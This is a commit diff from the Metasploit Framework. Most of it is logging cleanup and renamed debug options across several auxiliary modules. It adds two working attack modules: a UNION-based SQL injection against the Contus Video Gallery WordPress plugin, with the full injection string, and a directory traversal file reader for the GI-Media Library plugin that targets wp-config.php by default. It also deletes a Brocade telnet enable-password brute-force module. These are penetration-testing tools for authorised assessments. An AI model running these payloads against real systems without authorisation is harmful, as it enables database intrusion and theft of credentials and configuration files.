vprint_status("[#{target_host}] #{tpath}robots.txt - Doesn't contain \"llow:\"")
|
vprint_status("[#{target_host}] #{tpath}robots.txt - Doesn't contain \"llow:\"")
|
||||||
print_status(res.body.inspect) if datastore['DEBUG']
|
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -52,14 +52,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
# Fingerprint a single host
|
# Fingerprint a single host
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
begin
|
begin
|
||||||
connect
|
|
||||||
res = send_request_raw({ 'uri' => '/', 'method' => 'GET' })
|
res = send_request_raw({ 'uri' => '/', 'method' => 'GET' })
|
||||||
fp = http_fingerprint(:response => res)
|
fp = http_fingerprint(:response => res)
|
||||||
if fp
|
if fp
|
||||||
vprint_status("#{peer} connected and fingerprinted: #{fp}")
|
vprint_status("#{peer} connected and fingerprinted: #{fp}")
|
||||||
# TODO: Interrogate the connection itself to see what version
|
# TODO: Interrogate the connection itself to see what version
|
||||||
# was used. Where that actually lives is eluding me. :/
|
# was used. Where that actually lives is eluding me. :/
|
||||||
if datastore['SSLVersion'] == 'SSL3'
|
if datastore['SSL'] && datastore['SSLVersion'] == 'SSL3'
|
||||||
print_good("#{peer} accepts SSLv3")
|
print_good("#{peer} accepts SSLv3")
|
||||||
report_poodle_vuln(ip)
|
report_poodle_vuln(ip)
|
||||||
end
|
end
|
||||||
|
@ -67,9 +66,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
rescue ::OpenSSL::SSL::SSLError => e
|
rescue ::OpenSSL::SSL::SSLError => e
|
||||||
ssl_version = e.message.match(/ state=([^\s]+)/)[1]
|
ssl_version = e.message.match(/ state=([^\s]+)/)[1]
|
||||||
vprint_status("#{peer} does not accept #{ssl_version}")
|
vprint_status("#{peer} does not accept #{ssl_version}")
|
||||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
||||||
ensure
|
|
||||||
disconnect
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,69 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit4 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::HTTP::Wordpress
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Contus Video Gallery Unauthenticated SQL Injection Scanner',
|
||||||
|
'Description' => %q{
|
||||||
|
This module attempts to exploit a UNION-based SQL injection in Contus Video
|
||||||
|
Gallery for Wordpress version 2.7 and likely prior in order if the instance is
|
||||||
|
vulnerable.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Claudio Viviani', #discovery
|
||||||
|
'bperry' #metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2015-2065'],
|
||||||
|
[ 'WPVDB', '7793' ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Feb 24 2015'))
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
right_marker = Rex::Text.rand_text_alpha(5)
|
||||||
|
left_marker = Rex::Text.rand_text_alpha(5)
|
||||||
|
flag = Rex::Text.rand_text_alpha(5)
|
||||||
|
|
||||||
|
vprint_status("#{peer} - Checking host")
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => wordpress_url_admin_ajax,
|
||||||
|
'vars_get' => {
|
||||||
|
'action' => 'rss',
|
||||||
|
'type' => 'video',
|
||||||
|
'vid' => "-1 UNION ALL SELECT NULL,NULL,CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- "
|
||||||
|
}
|
||||||
|
})
|
||||||
|
unless res && res.body
|
||||||
|
vprint_error("#{peer} - Server did not respond in an expected way")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/
|
||||||
|
|
||||||
|
if result
|
||||||
|
print_good("#{peer} - Vulnerable to unauthenticated SQL injection within Contus Video Gallery 2.7 for Wordpress")
|
||||||
|
report_vuln({
|
||||||
|
:host => rhost,
|
||||||
|
:port => rport,
|
||||||
|
:proto => 'tcp',
|
||||||
|
:name => "Unauthenticated UNION-based SQL injection in Contus Video Gallery 2.7 for Wordpress",
|
||||||
|
:refs => self.references.select { |ref| ref.ctx_val == "2015-2065" }
|
||||||
|
})
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,77 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::HTTP::Wordpress
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'WordPress GI-Media Library Plugin Directory Traversal Vulnerability',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a directory traversal vulnerability in WordPress Plugin
|
||||||
|
GI-Media Library version 2.2.2, allowing to read arbitrary files from the
|
||||||
|
system with the web server privileges. This module has been tested successfully
|
||||||
|
on GI-Media Library version 2.2.2 with WordPress 4.1.3 on Ubuntu 12.04 Server.
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['WPVDB', '7754'],
|
||||||
|
['URL', 'http://wordpressa.quantika14.com/repository/index.php?id=24']
|
||||||
|
],
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Unknown', # Vulnerability discovery - QuantiKa14?
|
||||||
|
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('FILEPATH', [true, 'The wordpress file to read', 'wp-config.php']),
|
||||||
|
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the wordpress root folder)', 3 ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
check_plugin_version_from_readme('gi-media-library', '3.0')
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
traversal = '../' * datastore['DEPTH']
|
||||||
|
filename = datastore['FILEPATH']
|
||||||
|
filename = filename[1, filename.length] if filename =~ /^\//
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(wordpress_url_plugins, 'gi-media-library', 'download.php'),
|
||||||
|
'vars_get' =>
|
||||||
|
{
|
||||||
|
'fileid' => Rex::Text.encode_base64(traversal + filename)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.body && res.body.length > 0
|
||||||
|
fname = datastore['FILEPATH']
|
||||||
|
|
||||||
|
path = store_loot(
|
||||||
|
'gimedia-library.file',
|
||||||
|
'text/plain',
|
||||||
|
ip,
|
||||||
|
res.body,
|
||||||
|
fname
|
||||||
|
)
|
||||||
|
|
||||||
|
print_good("#{peer} - File saved in: #{path}")
|
||||||
|
else
|
||||||
|
vprint_error("#{peer} - Nothing was downloaded. Check the path and the traversal parameters.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -93,11 +93,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
state = Msf::ServiceState::Closed
|
state = Msf::ServiceState::Closed
|
||||||
print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG'])
|
vprint_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports")
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
state = Msf::ServiceState::Closed
|
state = Msf::ServiceState::Closed
|
||||||
print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG'])
|
vprint_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response")
|
||||||
end
|
end
|
||||||
|
|
||||||
report_service(
|
report_service(
|
||||||
|
|
|
@ -43,7 +43,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
val_actual = resp[idx,4].unpack("V")[0]
|
val_actual = resp[idx,4].unpack("V")[0]
|
||||||
idx += 4
|
idx += 4
|
||||||
value = resp[idx,val_actual*2]
|
value = resp[idx,val_actual*2]
|
||||||
#print_debug "resp[0x#{idx.to_s(16)},#{val_actual*2}] : " + value
|
|
||||||
idx += val_actual * 2
|
idx += val_actual * 2
|
||||||
|
|
||||||
idx += val_actual % 2 * 2 # alignment
|
idx += val_actual % 2 * 2 # alignment
|
||||||
|
@ -54,15 +53,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def parse_net_wksta_enum_users_info(resp)
|
def parse_net_wksta_enum_users_info(resp)
|
||||||
accounts = [ Hash.new() ]
|
accounts = [ Hash.new() ]
|
||||||
|
|
||||||
#print_debug resp[0,20].unpack("H*")
|
|
||||||
idx = 20
|
idx = 20
|
||||||
count = resp[idx,4].unpack("V")[0] # wkssvc_NetWkstaEnumUsersInfo -> Info -> PtrCt0 -> User() -> Ptr -> Max Count
|
count = resp[idx,4].unpack("V")[0] # wkssvc_NetWkstaEnumUsersInfo -> Info -> PtrCt0 -> User() -> Ptr -> Max Count
|
||||||
idx += 4
|
idx += 4
|
||||||
#print_debug "Max Count : " + count.to_s
|
|
||||||
|
|
||||||
1.upto(count) do
|
1.upto(count) do
|
||||||
# wkssvc_NetWkstaEnumUsersInfo -> Info -> PtrCt0 -> User() -> Ptr -> Ref ID
|
# wkssvc_NetWkstaEnumUsersInfo -> Info -> PtrCt0 -> User() -> Ptr -> Ref ID
|
||||||
# print_debug "Ref ID#{account.to_s}: " + resp[idx,4].unpack("H*").to_s
|
|
||||||
idx += 4 # ref id name
|
idx += 4 # ref id name
|
||||||
idx += 4 # ref id logon domain
|
idx += 4 # ref id logon domain
|
||||||
idx += 4 # ref id other domains
|
idx += 4 # ref id other domains
|
||||||
|
|
|
@ -173,7 +173,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error)
|
while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error)
|
||||||
if attempt_num > 0
|
if attempt_num > 0
|
||||||
Rex.sleep(2 ** attempt_num)
|
Rex.sleep(2 ** attempt_num)
|
||||||
print_debug "#{peer(ip)} Retrying '#{user}' due to connection error"
|
vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")
|
||||||
end
|
end
|
||||||
|
|
||||||
ret = check_user(ip, user, rport)
|
ret = check_user(ip, user, rport)
|
||||||
|
|
|
@ -148,7 +148,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
|
while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
|
||||||
if attempt_num > 0
|
if attempt_num > 0
|
||||||
Rex.sleep(2 ** attempt_num)
|
Rex.sleep(2 ** attempt_num)
|
||||||
print_debug "#{peer(ip)} Retrying '#{user}' due to connection error"
|
vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")
|
||||||
end
|
end
|
||||||
|
|
||||||
ret = check_user(ip, user, rport)
|
ret = check_user(ip, user, rport)
|
||||||
|
@ -161,12 +161,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def show_result(attempt_result, user, ip)
|
def show_result(attempt_result, user, ip)
|
||||||
case attempt_result
|
case attempt_result
|
||||||
when :success
|
when :success
|
||||||
print_good "#{peer(ip)} User '#{user}' found"
|
print_good("#{peer(ip)} User '#{user}' found")
|
||||||
do_report(ip, user, rport)
|
do_report(ip, user, rport)
|
||||||
when :connection_error
|
when :connection_error
|
||||||
print_error "#{peer(ip)} User '#{user}' on could not connect"
|
print_error("#{peer(ip)} User '#{user}' on could not connect")
|
||||||
when :fail
|
when :fail
|
||||||
print_debug "#{peer(ip)} User '#{user}' not found"
|
print_error("#{peer(ip)} User '#{user}' not found")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -693,12 +693,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
ssl_type = ssl_unpacked[0]
|
ssl_type = ssl_unpacked[0]
|
||||||
ssl_version = ssl_unpacked[1]
|
ssl_version = ssl_unpacked[1]
|
||||||
ssl_len = ssl_unpacked[2]
|
ssl_len = ssl_unpacked[2]
|
||||||
vprint_debug("SSL record ##{ssl_record_counter}:")
|
vprint_status("SSL record ##{ssl_record_counter}:")
|
||||||
vprint_debug("\tType: #{ssl_type}")
|
vprint_status("\tType: #{ssl_type}")
|
||||||
vprint_debug("\tVersion: 0x#{ssl_version}")
|
vprint_status("\tVersion: 0x#{ssl_version}")
|
||||||
vprint_debug("\tLength: #{ssl_len}")
|
vprint_status("\tLength: #{ssl_len}")
|
||||||
if ssl_type != HANDSHAKE_RECORD_TYPE
|
if ssl_type != HANDSHAKE_RECORD_TYPE
|
||||||
vprint_debug("\tWrong Record Type! (#{ssl_type})")
|
vprint_status("\tWrong Record Type! (#{ssl_type})")
|
||||||
else
|
else
|
||||||
ssl_data = remaining_data[5, ssl_len]
|
ssl_data = remaining_data[5, ssl_len]
|
||||||
handshakes = parse_handshakes(ssl_data)
|
handshakes = parse_handshakes(ssl_data)
|
||||||
|
@ -729,24 +729,24 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
hs_len = hs_unpacked[2]
|
hs_len = hs_unpacked[2]
|
||||||
hs_data = remaining_data[4, hs_len]
|
hs_data = remaining_data[4, hs_len]
|
||||||
handshake_count += 1
|
handshake_count += 1
|
||||||
vprint_debug("\tHandshake ##{handshake_count}:")
|
vprint_status("\tHandshake ##{handshake_count}:")
|
||||||
vprint_debug("\t\tLength: #{hs_len}")
|
vprint_status("\t\tLength: #{hs_len}")
|
||||||
|
|
||||||
handshake_parsed = nil
|
handshake_parsed = nil
|
||||||
case hs_type
|
case hs_type
|
||||||
when HANDSHAKE_SERVER_HELLO_TYPE
|
when HANDSHAKE_SERVER_HELLO_TYPE
|
||||||
vprint_debug("\t\tType: Server Hello (#{hs_type})")
|
vprint_status("\t\tType: Server Hello (#{hs_type})")
|
||||||
handshake_parsed = parse_server_hello(hs_data)
|
handshake_parsed = parse_server_hello(hs_data)
|
||||||
when HANDSHAKE_CERTIFICATE_TYPE
|
when HANDSHAKE_CERTIFICATE_TYPE
|
||||||
vprint_debug("\t\tType: Certificate Data (#{hs_type})")
|
vprint_status("\t\tType: Certificate Data (#{hs_type})")
|
||||||
handshake_parsed = parse_certificate_data(hs_data)
|
handshake_parsed = parse_certificate_data(hs_data)
|
||||||
when HANDSHAKE_KEY_EXCHANGE_TYPE
|
when HANDSHAKE_KEY_EXCHANGE_TYPE
|
||||||
vprint_debug("\t\tType: Server Key Exchange (#{hs_type})")
|
vprint_status("\t\tType: Server Key Exchange (#{hs_type})")
|
||||||
# handshake_parsed = parse_server_key_exchange(hs_data)
|
# handshake_parsed = parse_server_key_exchange(hs_data)
|
||||||
when HANDSHAKE_SERVER_HELLO_DONE_TYPE
|
when HANDSHAKE_SERVER_HELLO_DONE_TYPE
|
||||||
vprint_debug("\t\tType: Server Hello Done (#{hs_type})")
|
vprint_status("\t\tType: Server Hello Done (#{hs_type})")
|
||||||
else
|
else
|
||||||
vprint_debug("\t\tType: Handshake type #{hs_type} not implemented")
|
vprint_status("\t\tType: Handshake type #{hs_type} not implemented")
|
||||||
end
|
end
|
||||||
|
|
||||||
handshakes << {
|
handshakes << {
|
||||||
|
@ -763,13 +763,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
# Parse Server Hello message
|
# Parse Server Hello message
|
||||||
def parse_server_hello(data)
|
def parse_server_hello(data)
|
||||||
version = data.unpack('H4')[0]
|
version = data.unpack('H4')[0]
|
||||||
vprint_debug("\t\tServer Hello Version: 0x#{version}")
|
vprint_status("\t\tServer Hello Version: 0x#{version}")
|
||||||
random = data[2,32].unpack('H*')[0]
|
random = data[2,32].unpack('H*')[0]
|
||||||
vprint_debug("\t\tServer Hello random data: #{random}")
|
vprint_status("\t\tServer Hello random data: #{random}")
|
||||||
session_id_length = data[34,1].unpack('C')[0]
|
session_id_length = data[34,1].unpack('C')[0]
|
||||||
vprint_debug("\t\tServer Hello Session ID length: #{session_id_length}")
|
vprint_status("\t\tServer Hello Session ID length: #{session_id_length}")
|
||||||
session_id = data[35,session_id_length].unpack('H*')[0]
|
session_id = data[35,session_id_length].unpack('H*')[0]
|
||||||
vprint_debug("\t\tServer Hello Session ID: #{session_id}")
|
vprint_status("\t\tServer Hello Session ID: #{session_id}")
|
||||||
# TODO Read the rest of the server hello (respect message length)
|
# TODO Read the rest of the server hello (respect message length)
|
||||||
|
|
||||||
# TODO: return hash with data
|
# TODO: return hash with data
|
||||||
|
@ -782,8 +782,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
unpacked = data.unpack('Cn')
|
unpacked = data.unpack('Cn')
|
||||||
cert_len_padding = unpacked[0]
|
cert_len_padding = unpacked[0]
|
||||||
cert_len = unpacked[1]
|
cert_len = unpacked[1]
|
||||||
vprint_debug("\t\tCertificates length: #{cert_len}")
|
vprint_status("\t\tCertificates length: #{cert_len}")
|
||||||
vprint_debug("\t\tData length: #{data.length}")
|
vprint_status("\t\tData length: #{data.length}")
|
||||||
# contains multiple certs
|
# contains multiple certs
|
||||||
already_read = 3
|
already_read = 3
|
||||||
cert_counter = 0
|
cert_counter = 0
|
||||||
|
@ -793,14 +793,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
single_cert_unpacked = data[already_read, 3].unpack('Cn')
|
single_cert_unpacked = data[already_read, 3].unpack('Cn')
|
||||||
single_cert_len_padding = single_cert_unpacked[0]
|
single_cert_len_padding = single_cert_unpacked[0]
|
||||||
single_cert_len = single_cert_unpacked[1]
|
single_cert_len = single_cert_unpacked[1]
|
||||||
vprint_debug("\t\tCertificate ##{cert_counter}:")
|
vprint_status("\t\tCertificate ##{cert_counter}:")
|
||||||
vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
|
vprint_status("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
|
||||||
certificate_data = data[(already_read + 3), single_cert_len]
|
certificate_data = data[(already_read + 3), single_cert_len]
|
||||||
cert = OpenSSL::X509::Certificate.new(certificate_data)
|
cert = OpenSSL::X509::Certificate.new(certificate_data)
|
||||||
# First received certificate is the one from the server
|
# First received certificate is the one from the server
|
||||||
@cert = cert if @cert.nil?
|
@cert = cert if @cert.nil?
|
||||||
#vprint_debug("Got certificate: #{cert.to_text}")
|
#vprint_status("Got certificate: #{cert.to_text}")
|
||||||
vprint_debug("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}")
|
vprint_status("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}")
|
||||||
already_read = already_read + single_cert_len + 3
|
already_read = already_read + single_cert_len + 3
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -1,150 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
require 'rex'
|
|
||||||
require 'metasploit/framework/credential_collection'
|
|
||||||
require 'metasploit/framework/login_scanner/brocade_telnet'
|
|
||||||
|
|
||||||
class Metasploit4 < Msf::Auxiliary
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::Telnet
|
|
||||||
include Msf::Auxiliary::Report
|
|
||||||
include Msf::Auxiliary::AuthBrute
|
|
||||||
include Msf::Auxiliary::Scanner
|
|
||||||
include Msf::Auxiliary::CommandShell
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'Brocade Enable Login Check Scanner',
|
|
||||||
'Description' => %q{
|
|
||||||
This module will test a Brocade network device for a privilged
|
|
||||||
(Enable) login on a range of machines and report successful
|
|
||||||
logins. If you have loaded a database plugin and connected
|
|
||||||
to a database this module will record successful
|
|
||||||
logins and hosts so you can track your access.
|
|
||||||
This is not a login/telnet authentication. Config should NOT
|
|
||||||
have 'enable telnet authentication' in it. This will test the
|
|
||||||
config that contains 'aaa authentication enable default local'
|
|
||||||
Tested against:
|
|
||||||
ICX6450-24 SWver 07.4.00bT311
|
|
||||||
FastIron WS 624 SWver 07.2.02fT7e1
|
|
||||||
},
|
|
||||||
'Author' => 'h00die <mike[at]shorebreaksecurity.com>',
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'CVE', '1999-0502'] # Weak password
|
|
||||||
],
|
|
||||||
'License' => MSF_LICENSE
|
|
||||||
)
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptBool.new('GET_USERNAMES_FROM_CONFIG', [ false, 'Pull usernames from config and running config', true])
|
|
||||||
], self.class
|
|
||||||
)
|
|
||||||
@no_pass_prompt = []
|
|
||||||
end
|
|
||||||
|
|
||||||
def get_username_from_config(un_list,ip)
|
|
||||||
["config","running-config"].each do |command|
|
|
||||||
print_status(" Attempting username gathering from #{command} on #{ip}")
|
|
||||||
sock.puts("\r\n") #ensure the buffer is clear
|
|
||||||
config = sock.recv(1024)
|
|
||||||
sock.puts("show #{command}\r\n")
|
|
||||||
while true do
|
|
||||||
sock.puts(" \r\n") #paging
|
|
||||||
config << sock.recv(1024)
|
|
||||||
#there seems to be some buffering issues. so we want to match that we're back at a prompt, as well as received the 'end' of the config.
|
|
||||||
break if config.match(/>$/) and config.match(/end/)
|
|
||||||
end #pull the entire config
|
|
||||||
config.each_line do |un|
|
|
||||||
if un.match(/^username/)
|
|
||||||
found_username = un.split(" ")[1].strip
|
|
||||||
un_list.push(found_username)
|
|
||||||
print_status(" Found: #{found_username}@#{ip}")
|
|
||||||
end #username match
|
|
||||||
end #each line in config
|
|
||||||
end #end config/running-config loop
|
|
||||||
end
|
|
||||||
|
|
||||||
attr_accessor :no_pass_prompt
|
|
||||||
attr_accessor :password_only
|
|
||||||
|
|
||||||
def run_host(ip)
|
|
||||||
un_list = []
|
|
||||||
if datastore['GET_USERNAMES_FROM_CONFIG']
|
|
||||||
connect()
|
|
||||||
get_username_from_config(un_list,ip)
|
|
||||||
disconnect()
|
|
||||||
end
|
|
||||||
|
|
||||||
if datastore['USERNAME'] #put the provided username on the array to try
|
|
||||||
un_list.push(datastore['USERNAME'])
|
|
||||||
end
|
|
||||||
|
|
||||||
un_list.delete('logout') #logout, even when used as a un or pass will exit the terminal
|
|
||||||
|
|
||||||
un_list.each do |un|
|
|
||||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
|
||||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
|
||||||
pass_file: datastore['PASS_FILE'],
|
|
||||||
password: datastore['PASSWORD'],
|
|
||||||
user_file: datastore['USER_FILE'],
|
|
||||||
userpass_file: datastore['USERPASS_FILE'],
|
|
||||||
username: un,
|
|
||||||
user_as_pass: datastore['USER_AS_PASS'],
|
|
||||||
)
|
|
||||||
|
|
||||||
cred_collection = prepend_db_passwords(cred_collection)
|
|
||||||
|
|
||||||
scanner = Metasploit::Framework::LoginScanner::Brocade_Telnet.new(
|
|
||||||
host: ip,
|
|
||||||
port: rport,
|
|
||||||
proxies: datastore['PROXIES'],
|
|
||||||
cred_details: cred_collection,
|
|
||||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
|
||||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
|
||||||
connection_timeout: datastore['Timeout'],
|
|
||||||
max_send_size: datastore['TCP::max_send_size'],
|
|
||||||
send_delay: datastore['TCP::send_delay'],
|
|
||||||
banner_timeout: datastore['TelnetBannerTimeout'],
|
|
||||||
telnet_timeout: datastore['TelnetTimeout'],
|
|
||||||
framework: framework,
|
|
||||||
framework_module: self,
|
|
||||||
)
|
|
||||||
|
|
||||||
scanner.scan! do |result|
|
|
||||||
credential_data = result.to_h
|
|
||||||
credential_data.merge!(
|
|
||||||
module_fullname: self.fullname,
|
|
||||||
workspace_id: myworkspace_id
|
|
||||||
)
|
|
||||||
if result.success?
|
|
||||||
credential_core = create_credential(credential_data)
|
|
||||||
credential_data[:core] = credential_core
|
|
||||||
create_credential_login(credential_data)
|
|
||||||
print_good("#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}")
|
|
||||||
start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner)
|
|
||||||
else
|
|
||||||
invalidate_login(credential_data)
|
|
||||||
print_error("#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end #end un loop
|
|
||||||
end
|
|
||||||
|
|
||||||
def start_telnet_session(host, port, user, pass, scanner)
|
|
||||||
print_status("Attempting to start session #{host}:#{port} with #{user}:#{pass}")
|
|
||||||
merge_me = {
|
|
||||||
'USERPASS_FILE' => nil,
|
|
||||||
'USER_FILE' => nil,
|
|
||||||
'PASS_FILE' => nil,
|
|
||||||
'USERNAME' => user,
|
|
||||||
'PASSWORD' => pass
|
|
||||||
}
|
|
||||||
|
|
||||||
start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock)
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
'Name' => 'Telnet Service Encyption Key ID Overflow Detection',
|
'Name' => 'Telnet Service Encryption Key ID Overflow Detection',
|
||||||
'Description' => 'Detect telnet services vulnerable to the encrypt option Key ID overflow (BSD-derived telnetd)',
|
'Description' => 'Detect telnet services vulnerable to the encrypt option Key ID overflow (BSD-derived telnetd)',
|
||||||
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'hdm' ],
|
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'hdm' ],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
|
|
@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
OptRegexp.new('EXCLUDE', [false,
|
OptRegexp.new('EXCLUDE', [false,
|
||||||
'Only attempt to use exploits whose name DOES NOT match this regex'
|
'Only attempt to use exploits whose name DOES NOT match this regex'
|
||||||
]),
|
]),
|
||||||
OptBool.new('DEBUG', [false,
|
OptBool.new('DEBUG_AUTOPWN', [false,
|
||||||
'Do not obfuscate the javascript and print various bits of useful info to the browser',
|
'Do not obfuscate the javascript and print various bits of useful info to the browser',
|
||||||
false
|
false
|
||||||
]),
|
]),
|
||||||
|
@ -232,8 +232,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
ENDJS
|
ENDJS
|
||||||
)
|
)
|
||||||
|
|
||||||
if (datastore['DEBUG'])
|
if (datastore['DEBUG_AUTOPWN'])
|
||||||
print_debug("NOTE: Debug Mode; javascript will not be obfuscated")
|
print_status("NOTE: Debug Mode; javascript will not be obfuscated")
|
||||||
else
|
else
|
||||||
pre = Time.now
|
pre = Time.now
|
||||||
|
|
||||||
|
@ -349,7 +349,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
# For testing, set the exploit uri to the name of the exploit so it's
|
# For testing, set the exploit uri to the name of the exploit so it's
|
||||||
# easy to tell what is happening from the browser.
|
# easy to tell what is happening from the browser.
|
||||||
if (datastore['DEBUG'])
|
if (datastore['DEBUG_AUTOPWN'])
|
||||||
@exploits[name].datastore['URIPATH'] = name
|
@exploits[name].datastore['URIPATH'] = name
|
||||||
else
|
else
|
||||||
# randomize it manually since if a saved value exists in the user's
|
# randomize it manually since if a saved value exists in the user's
|
||||||
|
@ -836,7 +836,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
#
|
#
|
||||||
|
|
||||||
#js = ::Rex::Exploitation::JSObfu.new(js)
|
#js = ::Rex::Exploitation::JSObfu.new(js)
|
||||||
#js.obfuscate unless datastore["DEBUG"]
|
#js.obfuscate unless datastore["DEBUG_AUTOPWN"]
|
||||||
|
|
||||||
response.body = "#{js}"
|
response.body = "#{js}"
|
||||||
print_status("Responding with #{sploit_cnt} exploits")
|
print_status("Responding with #{sploit_cnt} exploits")
|
||||||
|
@ -1056,7 +1056,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def js_debug(msg)
|
def js_debug(msg)
|
||||||
if datastore['DEBUG']
|
if datastore['DEBUG_AUTOPWN']
|
||||||
return "document.body.innerHTML += #{msg};"
|
return "document.body.innerHTML += #{msg};"
|
